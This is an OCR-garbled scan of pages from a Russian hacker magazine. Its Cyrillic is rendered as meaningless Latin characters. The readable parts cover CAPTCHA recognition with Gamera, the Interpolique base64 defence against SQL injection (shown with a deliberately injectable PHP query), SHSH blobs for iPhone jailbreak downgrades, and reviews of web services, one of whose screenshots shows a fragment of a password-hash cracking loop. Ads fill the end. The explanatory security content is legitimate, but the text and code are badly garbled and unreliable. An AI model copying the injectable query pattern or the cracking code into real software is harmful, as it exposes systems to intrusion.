[L0W, HO Y>Ke Ccellyac nerko MHTErpupyemblin B CBOUX
peLUeHnsX, KOTOPbIV 04eHb Hemloxo paboTaloT.
Gamera (ldp.library.jhu.edu/projects/gamera) —

3TO He MPOCTO ABVXKOK, a Liefblil GpeiiMBOpK A5
HanucaHus cncteM abPeKTUBHOrO pacnosHaBa-
HUS CNIOXHBIX 06pa308 (B ToM uncne CAPTCHA),

KOTOPbI HECNIOXKHO 3aCTaBUTb paboTaTs.

Q: Mopckaykm NpoCcToit, HO HaAEXHbIM cnocob 3awmu-
TUTbCSA 0T SAL-UHBbEKLUMNA.

A: OinH 113 cambix 3bdeKTUBHbIX CNocob08 (Hy, kpo-
Me TOJIKOBOW FO/I0BbI MPOrpaMMU1CTa) ABNAIOTCA Tak

Ha3blBaeMble GpaliepBonbl 41 Beb-npunoxexnii. Y

Hac bbin nogpobHbIi MaTepunan o WAF B ogHoM 113

Homepos ][ (www.xakep.ru/magazine/xa/130/056/1.
asp). Ho ecnvi roBopirTb 0 HafIexHOM 1, B TOXe
BpeMsl, npocToM crnocobe ybepeyb cBov pazpaboT-
kv oT SQL-MHbeKUWI, TO cnefyeT 0TMETUTL NpreM
Interpolique. He Tak jaBHO OH Db NpefcTaBneH
[leHom KaMyHCKMM, KOTOpbI CTan 3BeCcTeH noche
0BHapyXeHVs cepbe3HOM yA3BMMOCTM B TEXHOMO-
run DNS. Obuyas naes Interpolique 3akioyaeTcs B
TOM, 4TODbI NPU Nepeaye Noab30BaTeNbCKUX iaH-
Hbix B 3anpoce k CYB[] duryprposanu He oTKpbIThle
[laHHble, a 3allmndpoBaHHas B basebs ctpoka.

Y10 370 fAaeT? O4eHb NPOCTO — B Xelle CTPOKYM MO
YMOJIHaHWIO OTCYTCTBYIOT CMeLVianbHble CUMBOSIbI,
KOTOPbIe MOTYT MPMBECTU K MHBEKLMN. YTO Bbl
XaKkep Hv Nepefasan, B 3anpoce byaeT BanugHas
CTpokoBasi nepeMeHHasi. [1ns nprmepa nocMoTpum
Ha CaMblIli NPOCTENLLNIA 3anpoc:

Sconn->query ("select * from table

where fname=""fname;") ;

[lonycTim, YTo NPOrpaMMKCT — NOJHBIA OyX U HAKaK
He GUIBTPYET U He 3KpaHupyeT 3HaveHre $fname.
TakvM 06pa3oM, iMeeM CTaHAaPTHYIO YA3BUMOCTb
SQL Injection. Ho ecnn ncnons3osats npriem
Interpolique, To aaxe npviTakoM packnagey atakyto-
LLLero Hy14ero He BbiiigeT. [1ocMoTprM noyeMy:

Sconn->query (eval (b('select * from

table where fname=""fname;"')));

3peck GyHKUMA b — 370 dyHKUMs-0bepTKa And
MoACTaHOBKM onepaumin baseb4-koarposaHns
[J19 NEPEeMEHHbIX, OTMEYEHHbIX CUMBOaMu .
[Mocne HecnoxHbIx Npeobpa3oBaHnii k base faH-
HbIX GOpMYUpyeTCs ClefyoLmnii 3anpoc:

select * from table where
fname=b64d("Veh..... =)

34ecb-To v BUHa caMas rnaBHas GULKa 3Toro
npunema. Kakoe bbl 3HayeHne He bbl10 Yy NepemMeH-
Ho fname (naxe ecnu oHO HKKaK He UALTPYeT-
cAl, M xakep Tyfia NoCTaBwm CreLcuMBosbl), npu
obpatyeHun kK CYB[] oHa Bcerpa bynet npefcras-
neHa 6e306MAHON CTPOKOM-XELLEM, @ 3HAYUT, BO3-
MOXHOCTb MHbeKL MM nckitodeHa. OpurnHansHas
npeseHTalys 0T aBTopa noaxoaa ¢ bonee nogpob-
HbIM OMMCaHMeM AoCTynHa Ha www.scribd.com/
doc/3300102¢/Interpoligue. OTTyaa, B 4acTHOCTH,

MOXHO NOYepHYTb GyHKLMM Ans 0bpaboTku cTpok
baseé4 8 MySQAL. B gpyroit nonynsipHon CYBI —
PostgreSQL — nopaepxka baseb4 peanuzoBaHa
uepes wraTHble GpyHkUMK encode/decode.

Q: Yo Takoe SHSH, ecnu rosoputb 06 iPhone/iPad,
¥ noyeMy peKOMeHAYHOT ero coxpaHsaTb? Kak 3to
caenaTtb?

A: Apple — 370 04eHb yMHaA KOMNaHus, Kotopas fy-
MaeT He TOJIbKO 0 Ka4eCTBe CBOEN NPOAYKLMM, HO U O
TOM, Kak ee 3aLmTnTb. JTiobol fesaic MoxHO 06HO-
BUTb, HO NPV 3TOM M0 YMOMYaHNIO HET BO3MOXXHOCTU
BEPHYTb NMPOLUMBKY Ha3a/. 3To MOXET CbirpaTh 3/1yt0
LUYTKY, ecnv B HoBolt firmware Apple peanusyet
Kakyto-HVByb XUTPYIO 3aLLNTY, NPeAOTBPaTNB BO3-
MOXHOCTb caenath Jailbreak (mocTyn k cucTeMHbIM
daiinam 1 nonHas ceobofa feicTBMA Ha yCTPOCT-
se). Mpu nonbitke npolwmts iPhone, iPod Touch am
iPad, nporpammaiTunes obpatuaetcs Ha cepsep
koMnaHuu Apple, nepefaBas Tak Ha3biBaeMblii
Homep ECID (yHuKanbHbI naeHTUdUKaTOp Ymna
nesaiical v Homep Tekywen npowusku. Cepeep B
CBOI0 0Yepe/ib OTNPaBAAEeT B OTHET TOT caMblil SHSH
— cneumanbHbIi MAeHTUGMKATOP NS MOAYNS
iBoot, koTopblIli 0TBeYaeT 3a 3arpysky ycTponcTsa. B
3aBUCUMMOCTY OT naeHTUdUKaTopa iBoot nnbo pas-
pelaeT NpoLWuWTb fieBaiic, nMbo He paspeluaeT. Tak
3a4eM Hy>kHo BakanuTe SHSH? Pe3oH ecTb: kakyto
Bbl HoBYIO 3alLMTy He Npuaymana Apple, oTknoumB
BO3MOXHOCTb ,0bpaThcs A0 CUCTEMHbIX Galinos
neBalica [To ecTb caenats Jailbreak), nonb3osatens
BCEra MOXeT OTKaTWTb NPOLLKBKY A0 TON BEPCHMY,
rhe Takas BO3MOXHOCTb 1MeeTcst. Ho 370 BO3MOXKHO
TOSIbKO BTOM Cllydae, eCY HEro eCTb MpaBuIbHbIN
SHSH, koTopblii Korga-To bbin BbinaH Apple. Coe-
natb bakan SHSH nossonsetytunvta TinyUmbrella
(thefirmwareumbrella.blogspot.com].3&
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What is Screenjelly?
WHAT'S ON YOUR SCREEN? ot vich 5o o o 3800 4

Use it
softerare
sty

shasa cool apps o
po & bug, of fst show

Ta start racordng, chck on B rod bution.
N reed 10 install or downlosd amything!

O Demo |

Recent public recongings:

e M=

e .—m—-m =

B2000 Vescia, in: Sesserjaly™ it 3 Iaseman of Vescia, iz
Anna ek | Prichey | T | Blog | Cotast

SCREENJELLY
www.screenjelly.com

B ogHo 13 pybpuk WWW2 Mbl pacckasbiBanm 0 3aMeyaTeslbHOM cepBuce

ScreenToaster, no3sonsiolieM NpsiMo U3 bpay3epa 3anucaTb CKPUHKACT 1
pa3MecTuThb Ha crelumansHom xocTuHre B Cetn. K coxaneruio, 31 viions oH
npekpaLaeT cBOe CyllecTBOBaHve. Hafo ckasaTk, 4To CepBMCOB C aHanorny-
HbIMI BO3MOXHOCTAMM TeMepb A0BOIbHO MHOTO, HO €CJIN UCKaTb asibTepHATH-
BY, T0 1 Obl, De3ycnosHo, Bbibpan Screenjelly. 3a Bce Bpems a yxe ycnen 3anu-
caTb C A€CATOK CKPMHKACTOB C OTAIMYHBIM KavecTBoM 13 Windows 1 Mac OS X

¢ be3ynpeyHo HanoXeHHOo roNoCoBO JOPOXKKON, 3anncaHHo ¢ MUMKpodoHa.

ICONSEARCH
Www.lconsearch.ru

<<,E|,enaeM MOVNCK MKOHOK MpoLLue», — rnacut nenbn Ha rasHon CTpaHuLe

IconSearch'a. M He obmaHbiBaeT. o cyTn, 3To cepBMC ANS NOMCKa KapTUHOK,
MOXOXMWI Ha ToT, 4To ecTby Google n AHAeKca, Ho NpefHa3HaYeHHbIN
crneynanbHo AN HaxoXAeHUs KoHok. Habupaelus cnoso «Kop3auHa», n B
pesynbTaTe noayyaellb 519 pasnnyHbix BapraHToB NprBbIYHOIO 0bpasa.
Bcero B cucteme cenvac 133673 nkoHok. [pryemM 3To He KpafeHsle n3obpa-
XeHws: Bce npeacTasnerHsie PNG-daiinb pacnpocTpaHsioTces Nog NULEeH-
31AMU, NO3BONALIMMY BECMNATHO CNOMb30BaTh KX, NPaBLa, B HEKOTOPbIX
CNyYasix c orpaHUuYeHnsaIMu.

» 144

TP comatry block generator Iotables country biock AR Miacceas coanfry block AR

IP address country block generator

The list of IP address by country below is a greeping of IP by country and CIDR: of our databass. The
data has over ¥9 5% accuracy on a country basis. The database is updated monthly.

Step 1 : Select the output type

Simpla fist =
Step 2 : Select one or more countries (max 20) from the list
Adghanistan .
Aland |slands E
Albania
Agera
Amencan Samoa
Argintng
Armenia
At
AsiaPacific Ragien
Austraka -
1fyou usa this sarvice on a regular basls, plense consider making & donatlon, Thay are very
mixch appreciated and they halp us pay for sxpenses assoclated with the free 1 aftar.
ACOUNTRY_SLOCK _START -
<iimic GET MEAD POST> B ﬂ'ﬂﬂ 3aWKnThl OT

order allow,deny

DDoS-aTak

IPINFODB
www.ipinfodb.com

Mo 6onbwomy cuety, IPinfoDB — aTo exxemecsiuHo obHoBnsieMas 6a3a grana-

30H0B |P-afipecoB, NprBsA3aHHbIX K pa3HbIM CTpaHaM. [lpyrumu cnosamu, Tyt
MO>HO BbICTPO MOCMOTPETb, KaKol CTpaHe NpUHAANEXUT ToT uav nHov IP. Ho
3T0 BCe epyH[a; M1aBHOE, YTO BHYTPY CEPBUCA eCTb HECKO/bKO BCTPOEHHbBIX
VIHCTPYMEHTOB [i15 reHepaLv npaswn daiiepsona u .htaccess, ¢ nomoLbo
KOTOPbIX MOXHO 3ab10KMpOBaTL AOCTYM K CepBepy No reorpaguyeckomy
npu3sHaky. Ecnu HyxHo BeicTpo 0TpasuTb Hannbie botos 13 Kutas nnu otkyaa-
nrbo elle — 3T0 0YEHb XOPOLLNIA MOMOLLIHUK.

Public Note sync.ing *

Version 37

Dfrcansreit TOKCT C SANON KONTRITEDS

A310 npamor cHoyTia
impoet hashiis

Slg_dctionan = open(dsi bl
dict = §g_cichonany readl spitiines(
‘ong_paicent = eddc) 100

def ristedhashy
eount =0
parcant =1,

for saltin dict:

for passwin dict Step

[na coBMecTHol paboTebl Hag,
OAHVM ¥ TeM e dainnom

Cotpinpmnt...

SYNC.IN

WWW.SYNC.IN

Elle ofHMM 3aMeyaTeIbHbIM CEPBICOM, KOTOPbI NPekpaTli CBOe CyLLLeCTBO-
BaHwe B 3TOM rofy, CTaj oHnalH-pefakTop Etherpad, no3sonsiowimnii Heckonb-
KUM NtoJsIM OLHOBPEMEHHO paboTaTh C OAHMM 1 TeM xe TekcToM. DuiLiika B ToM,
YTO M3MEHEHWs NoJib30BaTeNel 0ToDpaxanunch KaxnoMy 13 HKX B peasibHOM
BpemeHw. Komnanns Google, kynusluas cepswc, MpYKpbIia ero, peann3osas
ero gpyHKUmoHanbHocTb B Google Docs 1 Google Wave. Ho npuBbiuHoM npo-
cToThl He xBaTaeT! K cyacTblo, celiyac ceMUMMUbHbBIMY LiaramMu pa3BuBaeTcs
nonHbiii knoH Etherpad’'a — cepsuc Sync.in. [ina Hayana paboTsl 40CTaTOYHO
HaxaTb «Create a public note» v nogennTbea cebinkoit (Hanpumep, sync.in/
mzTvpcoKKA] ¢ HyXHBIMU Tl AEMU.
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Haw PC HuKoraa He BUCHUT!

et

KapTta myXcKoro poaa

= CneyunanbHble MeponpuaTUS

= CKUAKM HA KOMNbIOTEPHbIE TOBAPbI
M HE TOJbKO...

www.mancard.ru

MAXIM A Anbda-BaHK (game)land

(495) 78-888-78 (ans MocKBbl), 8-800-2000-000 (Gecnnar+o IS PETUOHOB Pocci1)  0AO «AJIb®A-BAHK». lenepanbas uiien3us baka Poccim Ha ocyliecTBNeHMe GaHKOBCKMX onepatiuii ot 29.01.1998 N21326. HA MPABAX PEK/IAMbI.



NEC Display SOlUtiOﬂS Empowered by Innovation N Ec

2nd floor

|

LLnpokodopmaTtHble .

H
XK-aucnnenu L

—

L7777

Komnanus NEC Display Solutions sBnsieTcs 0aHUM 13 BEQyLINX
MUPOBbIX NPOM3BOAMUTENEN, MPEeA/aratoLLMM LWUPOKWIA CIEKTP
MHHOBALMOHHBIX MPOAYKTOB M PELIEHWIA MO BA3yan3aumum
nHdopmaumm: odrcHble, NPOGECCMOHANBHBIE 1

MoH MTOPbLI CrneumannanpoBaHHbIe HaCToMbHbIE XXK-MOHUTOPbI;
wmpokodopmartHble XK-ancnnen ans 06LLECTBEHHbIX MECT;
MPOEKTOPbI A1 Pa3NNYHbIX CHEP NPUMEHEHMS —
OT NMOPTATMBHLIX MOZENE ANs Npe3eHTaunii 1o LmMdpoBbIX

KMHOMPOEKTOPOB.
Moapo6Hasa nudopmauusa: www.nec-display-solutions.ru
MpepctaButennctBo B Mockse: Ten.: (495) 937-8410, dakc (495) 937-8290 Peknama
ORIGAMI Computers Jlernox DISTI GROUP Nank KomnbtoJTnHk Trinity electronic AUVIX
+7(495) 774-3667 +7(495)601-9040  +7(495) 662-9237  +7(495) 730-2829  +7(495) 956-3311  +7(495) 737-8046  +7(495)797-5775
+7(495) 982-3904 +7(812) 327-3129  +7(495) 662-9240  +7(812)333-0111  +7(495) 737-8866  www.tri-el.ru WWW.auVix.ru

www.origamic.ru www.legion.ru www.disti.ru www.lanck.ru www.compulink.ru
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